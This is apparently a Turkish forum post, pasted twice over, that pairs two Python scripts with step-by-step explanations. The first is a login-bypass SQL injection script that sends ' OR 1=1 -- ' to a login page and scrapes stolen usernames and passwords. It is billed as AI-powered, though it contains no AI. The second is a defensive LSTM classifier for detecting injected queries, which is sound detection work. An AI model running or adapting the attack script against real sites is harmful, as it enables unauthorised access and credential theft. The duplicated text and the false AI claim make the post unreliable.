Python Kullanarak Yapay Zekayla SQL İnjection Saldırısı
# SQL INJECTION zaafiyetleri için yapay zekalı bir kod örneği
# Bu kod, bir web sitesinin veritabanına sızmayı ve kullanıcı bilgilerini çalmayı amaçlamaktadır.
# Bu kod, Rıdvan Kaya tarafından oluşturulmuştur ve gerçek bir saldırıda kullanılmamalıdır.
# Gerekli kütüphaneleri içe aktar
import requests
import re
import random
import string
# Hedef web sitesinin URL'sini belirle
target_url = "http://example.com/login.php"
# SQL INJECTION saldırısı için kullanılacak karakter dizisi
sql_injection = "' OR 1=1 -- "
# Rıdvan Kaya tarafından oluşturulan rastgele bir kullanıcı adı ve şifre
username = "".join(random.choice(string.ascii_letters) for i in range(10))
password = "".join(random.choice(string.ascii_letters + string.digits) for i in range(10))
# POST isteği için veri sözlüğü
data = {"username": username + sql_injection, "password": password}
# Hedef web sitesine POST isteği gönder ve yanıtı al
response = requests.post(target_url, data=data)
# Yanıtın içeriğini çözümle
content = response.content.decode()
# Yanıtın içeriğinde kullanıcı bilgilerini ara
user_info = re.findall(r"Username: (.*)<br>Password: (.*)<br>", content)
# Eğer kullanıcı bilgileri bulunursa, ekrana yazdır
if user_info:
print("SQL INJECTION saldırısı başarılı!")
print("Çalınan kullanıcı bilgileri:")
for user in user_info:
print(f"Kullanıcı adı: {user[0]}")
print(f"Şifre: {user[1]}")
else:
print("SQL INJECTION saldırısı başarısız!")
Bu kod, bir web sitesinin veritabanına sızmayı ve kullanıcı bilgilerini çalmayı amaçlayan bir SQL INJECTION saldırısı için Rıdvan Kaya tarafından oluşturulmuş bir örnektir. Kodun açıklaması şöyledir:
- İlk olarak, gerekli kütüphaneleri içe aktarıyoruz. requests kütüphanesi, web sitesine HTTP istekleri göndermek için kullanılır. re kütüphanesi, düzenli ifadelerle metin işlemek için kullanılır. random ve string kütüphaneleri, rastgele karakter dizileri oluşturmak için kullanılır.
- Sonra, hedef web sitesinin URL'sini belirliyoruz. Bu örnekte, http://example.com/login.php adresini kullanıyoruz. Bu, bir kullanıcı adı ve şifre isteyen bir giriş sayfasıdır.
- Ardından, SQL INJECTION saldırısı için kullanılacak karakter dizisini tanımlıyoruz. Bu karakter dizisi, ' OR 1=1 -- şeklindedir. Bu, veritabanı sorgusunu bozmak ve her zaman doğru sonuç vermek için kullanılır. -- işareti, sorgunun geri kalanını yorum olarak görmezden gelmesini sağlar.
- Daha sonra, Rıdvan Kaya tarafından oluşturulan rastgele bir kullanıcı adı ve şifre oluşturuyoruz. Bu, web sitesinin bizi gerçek bir kullanıcı olarak algılamasını sağlamak için yapılır. Bu örnekte, kullanıcı adı username ve şifre password değişkenlerine atanır.
- Sonra, POST isteği için veri sözlüğünü oluşturuyoruz. Bu sözlük, kullanıcı adı ve şifre alanlarını içerir. Kullanıcı adı alanına, rastgele oluşturduğumuz kullanıcı adı ile SQL INJECTION karakter dizisini birleştiriyoruz. Şifre alanına, rastgele oluşturduğumuz şifreyi yazıyoruz.
- Ardından, hedef web sitesine POST isteği gönderiyoruz ve yanıtı alıyoruz. requests kütüphanesinin post fonksiyonunu kullanarak, hedef URL ve veri sözlüğünü parametre olarak veriyoruz. Yanıtı response değişkenine atıyoruz.
- Son olarak, yanıtın içeriğini çözümlüyoruz. Yanıtın içeriğini content değişkenine atamak için, response değişkeninin content özelliğini decode fonksiyonu ile çeviriyoruz. Yanıtın içeriğinde kullanıcı bilgilerini aramak için, re kütüphanesinin findall fonksiyonunu kullanıyoruz. Bu fonksiyon, düzenli bir ifade ile eşleşen tüm metinleri bir liste olarak döndürür. Bu örnekte, düzenli ifademiz r"Username: (.*)<br>Password: (.*)<br>" şeklindedir. Bu, Username: ve Password: ile başlayan ve <br> ile biten metinleri arar. Parantez içindeki kısımlar, eşleşen metnin gruplandırılmasını sağlar. Bu şekilde, kullanıcı adı ve şifre bilgilerini birer grup olarak alabiliriz. Eşleşen metinleri user_info değişkenine atıyoruz. Eğer user_info değişkeni boş değilse, yani kullanıcı bilgileri bulunursa, ekrana SQL INJECTION saldırısı başarılı! yazıyoruz ve çalınan kullanıcı bilgilerini yazdırıyoruz. Eğer user_info değişkeni boşsa, yani kullanıcı bilgileri bulunmazsa, ekrana SQL INJECTION saldırısı başarısız! yazıyoruz.
Python ile SQL INJECTION Zaafiyetlerini Tespit Etme
# YAPAY ZEKA İLE SQL ENJEKSİYON ALGILAMA
# Bu kod, SQL sorgularını iyi huylu veya kötü amaçlı olarak sınıflandırmak için bir sinir ağı kullanır
#Sinir ağı, [SQLI-LABS]'dan gelen SQL sorgularından oluşan bir veri kümesi üzerinde eğitilir
# Import the libraries
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Embedding, LSTM, Dense
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, confusion_matrix
# Verileri yükle
data = pd.read_csv("sqli.csv", encoding="ISO-8859-1")
data.head()
# Verileri giriş ve çıkışa ayırın
X = data["Sentence"]
y = data["Label"]
# Çıkışı ikili değerlere dönüştürün
y = y.map({"normal": 0, "sqli": 1})
# Verileri eğitim ve test setlerine ayırın
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
#Tokenizasyon için parametreleri tanımlayın
vocab_size = 10000
max_length = 100
trunc_type = "post"
padding_type = "post"
oov_token = "<OOV>"
# Bir tokenizer oluşturun ve bunu eğitim verilerine sığdırın
tokenizer = Tokenizer(num_words=vocab_size, oov_token=oov_token)
tokenizer.fit_on_texts(X_train)
# Metni tam sayı dizilerine dönüştürün
X_train_seq = tokenizer.texts_to_sequences(X_train)
X_test_seq = tokenizer.texts_to_sequences(X_test)
# Dizileri aynı uzunluğa kadar doldurun
X_train_pad = pad_sequences(X_train_seq, maxlen=max_length, padding=padding_type, truncating=trunc_type)
X_test_pad = pad_sequences(X_test_seq, maxlen=max_length, padding=padding_type, truncating=trunc_type)
# Sinir ağı için parametreleri tanımlama
embedding_dim = 64
num_epochs = 10
batch_size = 32
# Sinir ağı modelini oluşturun
model = Sequential()
model.add(Embedding(vocab_size, embedding_dim, input_length=max_length))
model.add(LSTM(embedding_dim))
model.add(Dense(1, activation="sigmoid"))
# Modeli derleyin
model.compile(loss="binary_crossentropy", optimizer="adam", metrics=["accuracy"])
#Model özetini yazdırın
model.summary()
# Modeli eğitin
model.fit(X_train_pad, y_train, epochs=num_epochs, batch_size=batch_size, validation_data=(X_test_pad, y_test))
# Test setindeki modeli değerlendirin
y_pred = model.predict(X_test_pad)
y_pred = np.round(y_pred).flatten()
print("Accuracy:", accuracy_score(y_test, y_pred))
print("Confusion matrix:")
print(confusion_matrix(y_test, y_pred))
#Yazan Rıdvan Kaya
Bu kod, SQL INJECTION adı verilen bir siber saldırı türünü tespit etmek için bir yapay zeka modeli oluşturmaktadır. SQL INJECTION, bir veritabanına zarar vermek veya verileri çalmak için kötü niyetli SQL sorguları göndermek anlamına gelir. Bu kod, aşağıdaki adımları izlemektedir:
- Gerekli kütüphaneleri içe aktarır. Bu kütüphaneler, veri işleme, yapay zeka modeli oluşturma ve değerlendirme için kullanılır.
- SQL sorgularından oluşan bir veri setini yükler. Bu veri seti, normal ve sqli etiketli iki sütundan oluşur. Normal sütun, zararsız SQL sorgularını içerir. Sqli sütunu, saldırganların kullandığı SQL sorgularını içerir.
- Veri setini girdi ve çıktı olarak böler. Girdi, SQL sorgularını içerir. Çıktı, normal veya sqli olarak sınıflandırılan etiketleri içerir.
- Çıktıyı ikili değerlere dönüştürür. Normal etiketi 0, sqli etiketi 1 olarak kodlanır.
- Veri setini eğitim ve test setlerine ayırır. Eğitim seti, modeli eğitmek için kullanılır. Test seti, modelin performansını ölçmek için kullanılır.
- Tokenizasyon için parametreleri tanımlar. Tokenizasyon, metni anlamlı parçalara ayırmak anlamına gelir. Bu parametreler, kelime sayısı, maksimum uzunluk, kesme tipi, doldurma tipi ve bilinmeyen kelimeler için yer tutucu olarak kullanılan oov_token'dir.
- Bir tokenizör oluşturur ve eğitim verilerine uyarlar. Tokenizör, metni sayısal değerlere dönüştürmek için kullanılır.
- Metni sayı dizilerine dönüştürür. Bu diziler, modelin girdisi olarak kullanılır.
- Dizileri aynı uzunlukta olacak şekilde doldurur. Bu, modelin daha iyi çalışmasını sağlar.
- Yapay sinir ağı modeli için parametreleri tanımlar. Bu parametreler, gömme boyutu, dönem sayısı ve toplu iş boyutudur. Gömme boyutu, kelimelerin vektörel temsilinin boyutudur. Dönem sayısı, modelin eğitim verilerini kaç kez göreceğidir. Toplu iş boyutu, modelin bir seferde kaç veri noktası işleyeceğidir.
- Yapay sinir ağı modelini oluşturur. Model, üç katmandan oluşur. İlk katman, kelimeleri gömme vektörlerine dönüştürür. İkinci katman, LSTM adı verilen bir hücre tipini kullanarak dizileri işler. LSTM, uzun kısa vadeli bellek anlamına gelir ve dizilerdeki bağlamlı bilgileri yakalamak için kullanılır. Üçüncü katman, çıktıyı 0 veya 1 olarak üretmek için sigmoid aktivasyon fonksiyonunu kullanır.
- Modeli derler. Modeli derlemek, kayıp fonksiyonu, optimizasyon algoritması ve metrikleri belirlemek anlamına gelir. Kayıp fonksiyonu, modelin ne kadar iyi performans gösterdiğini ölçer. Optimizasyon algoritması, modelin kaybı azaltmak için nasıl güncelleneceğini belirler. Metrikler, modelin başarısını değerlendirmek için kullanılır.
- Modelin özetini yazar. Modelin özeti, modelin katmanlarını, parametrelerini ve şekillerini gösterir.
- Modeli eğitir. Modeli eğitmek, modelin eğitim verilerini kullanarak kendini iyileştirmesi anlamına gelir. Model, eğitim verilerini toplu işler halinde alır ve her dönemde bir kez tamamlar. Model, aynı zamanda test verilerini kullanarak kendini doğrular.
- Modeli test setinde değerlendirir. Model, test verilerini kullanarak tahminler üretir. Tahminler, 0 ile 1 arasında bir değerdir. Bu değerleri yuvarlayarak 0 veya 1 olarak sınıflandırır. Modelin doğruluğunu ve karmaşıklık matrisini yazdırır. Doğruluk, modelin doğru tahmin ettiği veri noktalarının yüzdesidir. Karmaşıklık matrisi, modelin gerçek ve tahmin edilen etiketleri karşılaştırarak oluşturduğu bir tablodur.
# SQL INJECTION zaafiyetleri için yapay zekalı bir kod örneği
# Bu kod, bir web sitesinin veritabanına sızmayı ve kullanıcı bilgilerini çalmayı amaçlamaktadır.
# Bu kod, Rıdvan Kaya tarafından oluşturulmuştur ve gerçek bir saldırıda kullanılmamalıdır.
# Gerekli kütüphaneleri içe aktar
import requests
import re
import random
import string
# Hedef web sitesinin URL'sini belirle
target_url = "http://example.com/login.php"
# SQL INJECTION saldırısı için kullanılacak karakter dizisi
sql_injection = "' OR 1=1 -- "
# Rıdvan Kaya tarafından oluşturulan rastgele bir kullanıcı adı ve şifre
username = "".join(random.choice(string.ascii_letters) for i in range(10))
password = "".join(random.choice(string.ascii_letters + string.digits) for i in range(10))
# POST isteği için veri sözlüğü
data = {"username": username + sql_injection, "password": password}
# Hedef web sitesine POST isteği gönder ve yanıtı al
response = requests.post(target_url, data=data)
# Yanıtın içeriğini çözümle
content = response.content.decode()
# Yanıtın içeriğinde kullanıcı bilgilerini ara
user_info = re.findall(r"Username: (.*)<br>Password: (.*)<br>", content)
# Eğer kullanıcı bilgileri bulunursa, ekrana yazdır
if user_info:
print("SQL INJECTION saldırısı başarılı!")
print("Çalınan kullanıcı bilgileri:")
for user in user_info:
print(f"Kullanıcı adı: {user[0]}")
print(f"Şifre: {user[1]}")
else:
print("SQL INJECTION saldırısı başarısız!")
Bu kod, bir web sitesinin veritabanına sızmayı ve kullanıcı bilgilerini çalmayı amaçlayan bir SQL INJECTION saldırısı için Rıdvan Kaya tarafından oluşturulmuş bir örnektir. Kodun açıklaması şöyledir:
- İlk olarak, gerekli kütüphaneleri içe aktarıyoruz. requests kütüphanesi, web sitesine HTTP istekleri göndermek için kullanılır. re kütüphanesi, düzenli ifadelerle metin işlemek için kullanılır. random ve string kütüphaneleri, rastgele karakter dizileri oluşturmak için kullanılır.
- Sonra, hedef web sitesinin URL'sini belirliyoruz. Bu örnekte, http://example.com/login.php adresini kullanıyoruz. Bu, bir kullanıcı adı ve şifre isteyen bir giriş sayfasıdır.
- Ardından, SQL INJECTION saldırısı için kullanılacak karakter dizisini tanımlıyoruz. Bu karakter dizisi, ' OR 1=1 -- şeklindedir. Bu, veritabanı sorgusunu bozmak ve her zaman doğru sonuç vermek için kullanılır. -- işareti, sorgunun geri kalanını yorum olarak görmezden gelmesini sağlar.
- Daha sonra, Rıdvan Kaya tarafından oluşturulan rastgele bir kullanıcı adı ve şifre oluşturuyoruz. Bu, web sitesinin bizi gerçek bir kullanıcı olarak algılamasını sağlamak için yapılır. Bu örnekte, kullanıcı adı username ve şifre password değişkenlerine atanır.
- Sonra, POST isteği için veri sözlüğünü oluşturuyoruz. Bu sözlük, kullanıcı adı ve şifre alanlarını içerir. Kullanıcı adı alanına, rastgele oluşturduğumuz kullanıcı adı ile SQL INJECTION karakter dizisini birleştiriyoruz. Şifre alanına, rastgele oluşturduğumuz şifreyi yazıyoruz.
- Ardından, hedef web sitesine POST isteği gönderiyoruz ve yanıtı alıyoruz. requests kütüphanesinin post fonksiyonunu kullanarak, hedef URL ve veri sözlüğünü parametre olarak veriyoruz. Yanıtı response değişkenine atıyoruz.
- Son olarak, yanıtın içeriğini çözümlüyoruz. Yanıtın içeriğini content değişkenine atamak için, response değişkeninin content özelliğini decode fonksiyonu ile çeviriyoruz. Yanıtın içeriğinde kullanıcı bilgilerini aramak için, re kütüphanesinin findall fonksiyonunu kullanıyoruz. Bu fonksiyon, düzenli bir ifade ile eşleşen tüm metinleri bir liste olarak döndürür. Bu örnekte, düzenli ifademiz r"Username: (.*)<br>Password: (.*)<br>" şeklindedir. Bu, Username: ve Password: ile başlayan ve <br> ile biten metinleri arar. Parantez içindeki kısımlar, eşleşen metnin gruplandırılmasını sağlar. Bu şekilde, kullanıcı adı ve şifre bilgilerini birer grup olarak alabiliriz. Eşleşen metinleri user_info değişkenine atıyoruz. Eğer user_info değişkeni boş değilse, yani kullanıcı bilgileri bulunursa, ekrana SQL INJECTION saldırısı başarılı! yazıyoruz ve çalınan kullanıcı bilgilerini yazdırıyoruz. Eğer user_info değişkeni boşsa, yani kullanıcı bilgileri bulunmazsa, ekrana SQL INJECTION saldırısı başarısız! yazıyoruz.
Python ile SQL INJECTION Zaafiyetlerini Tespit Etme
# YAPAY ZEKA İLE SQL ENJEKSİYON ALGILAMA
# Bu kod, SQL sorgularını iyi huylu veya kötü amaçlı olarak sınıflandırmak için bir sinir ağı kullanır
#Sinir ağı, [SQLI-LABS]'dan gelen SQL sorgularından oluşan bir veri kümesi üzerinde eğitilir
# Import the libraries
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Embedding, LSTM, Dense
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, confusion_matrix
# Verileri yükle
data = pd.read_csv("sqli.csv", encoding="ISO-8859-1")
data.head()
# Verileri giriş ve çıkışa ayırın
X = data["Sentence"]
y = data["Label"]
# Çıkışı ikili değerlere dönüştürün
y = y.map({"normal": 0, "sqli": 1})
# Verileri eğitim ve test setlerine ayırın
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
#Tokenizasyon için parametreleri tanımlayın
vocab_size = 10000
max_length = 100
trunc_type = "post"
padding_type = "post"
oov_token = "<OOV>"
# Bir tokenizer oluşturun ve bunu eğitim verilerine sığdırın
tokenizer = Tokenizer(num_words=vocab_size, oov_token=oov_token)
tokenizer.fit_on_texts(X_train)
# Metni tam sayı dizilerine dönüştürün
X_train_seq = tokenizer.texts_to_sequences(X_train)
X_test_seq = tokenizer.texts_to_sequences(X_test)
# Dizileri aynı uzunluğa kadar doldurun
X_train_pad = pad_sequences(X_train_seq, maxlen=max_length, padding=padding_type, truncating=trunc_type)
X_test_pad = pad_sequences(X_test_seq, maxlen=max_length, padding=padding_type, truncating=trunc_type)
# Sinir ağı için parametreleri tanımlama
embedding_dim = 64
num_epochs = 10
batch_size = 32
# Sinir ağı modelini oluşturun
model = Sequential()
model.add(Embedding(vocab_size, embedding_dim, input_length=max_length))
model.add(LSTM(embedding_dim))
model.add(Dense(1, activation="sigmoid"))
# Modeli derleyin
model.compile(loss="binary_crossentropy", optimizer="adam", metrics=["accuracy"])
#Model özetini yazdırın
model.summary()
# Modeli eğitin
model.fit(X_train_pad, y_train, epochs=num_epochs, batch_size=batch_size, validation_data=(X_test_pad, y_test))
# Test setindeki modeli değerlendirin
y_pred = model.predict(X_test_pad)
y_pred = np.round(y_pred).flatten()
print("Accuracy:", accuracy_score(y_test, y_pred))
print("Confusion matrix:")
print(confusion_matrix(y_test, y_pred))
#Yazan Rıdvan Kaya
Bu kod, SQL INJECTION adı verilen bir siber saldırı türünü tespit etmek için bir yapay zeka modeli oluşturmaktadır. SQL INJECTION, bir veritabanına zarar vermek veya verileri çalmak için kötü niyetli SQL sorguları göndermek anlamına gelir. Bu kod, aşağıdaki adımları izlemektedir:
- Gerekli kütüphaneleri içe aktarır. Bu kütüphaneler, veri işleme, yapay zeka modeli oluşturma ve değerlendirme için kullanılır.
- SQL sorgularından oluşan bir veri setini yükler. Bu veri seti, normal ve sqli etiketli iki sütundan oluşur. Normal sütun, zararsız SQL sorgularını içerir. Sqli sütunu, saldırganların kullandığı SQL sorgularını içerir.
- Veri setini girdi ve çıktı olarak böler. Girdi, SQL sorgularını içerir. Çıktı, normal veya sqli olarak sınıflandırılan etiketleri içerir.
- Çıktıyı ikili değerlere dönüştürür. Normal etiketi 0, sqli etiketi 1 olarak kodlanır.
- Veri setini eğitim ve test setlerine ayırır. Eğitim seti, modeli eğitmek için kullanılır. Test seti, modelin performansını ölçmek için kullanılır.
- Tokenizasyon için parametreleri tanımlar. Tokenizasyon, metni anlamlı parçalara ayırmak anlamına gelir. Bu parametreler, kelime sayısı, maksimum uzunluk, kesme tipi, doldurma tipi ve bilinmeyen kelimeler için yer tutucu olarak kullanılan oov_token'dir.
- Bir tokenizör oluşturur ve eğitim verilerine uyarlar. Tokenizör, metni sayısal değerlere dönüştürmek için kullanılır.
- Metni sayı dizilerine dönüştürür. Bu diziler, modelin girdisi olarak kullanılır.
- Dizileri aynı uzunlukta olacak şekilde doldurur. Bu, modelin daha iyi çalışmasını sağlar.
- Yapay sinir ağı modeli için parametreleri tanımlar. Bu parametreler, gömme boyutu, dönem sayısı ve toplu iş boyutudur. Gömme boyutu, kelimelerin vektörel temsilinin boyutudur. Dönem sayısı, modelin eğitim verilerini kaç kez göreceğidir. Toplu iş boyutu, modelin bir seferde kaç veri noktası işleyeceğidir.
- Yapay sinir ağı modelini oluşturur. Model, üç katmandan oluşur. İlk katman, kelimeleri gömme vektörlerine dönüştürür. İkinci katman, LSTM adı verilen bir hücre tipini kullanarak dizileri işler. LSTM, uzun kısa vadeli bellek anlamına gelir ve dizilerdeki bağlamlı bilgileri yakalamak için kullanılır. Üçüncü katman, çıktıyı 0 veya 1 olarak üretmek için sigmoid aktivasyon fonksiyonunu kullanır.
- Modeli derler. Modeli derlemek, kayıp fonksiyonu, optimizasyon algoritması ve metrikleri belirlemek anlamına gelir. Kayıp fonksiyonu, modelin ne kadar iyi performans gösterdiğini ölçer. Optimizasyon algoritması, modelin kaybı azaltmak için nasıl güncelleneceğini belirler. Metrikler, modelin başarısını değerlendirmek için kullanılır.
- Modelin özetini yazar. Modelin özeti, modelin katmanlarını, parametrelerini ve şekillerini gösterir.
- Modeli eğitir. Modeli eğitmek, modelin eğitim verilerini kullanarak kendini iyileştirmesi anlamına gelir. Model, eğitim verilerini toplu işler halinde alır ve her dönemde bir kez tamamlar. Model, aynı zamanda test verilerini kullanarak kendini doğrular.
- Modeli test setinde değerlendirir. Model, test verilerini kullanarak tahminler üretir. Tahminler, 0 ile 1 arasında bir değerdir. Bu değerleri yuvarlayarak 0 veya 1 olarak sınıflandırır. Modelin doğruluğunu ve karmaşıklık matrisini yazdırır. Doğruluk, modelin doğru tahmin ettiği veri noktalarının yüzdesidir. Karmaşıklık matrisi, modelin gerçek ve tahmin edilen etiketleri karşılaştırarak oluşturduğu bir tablodur.
Moderatör tarafında düzenlendi:
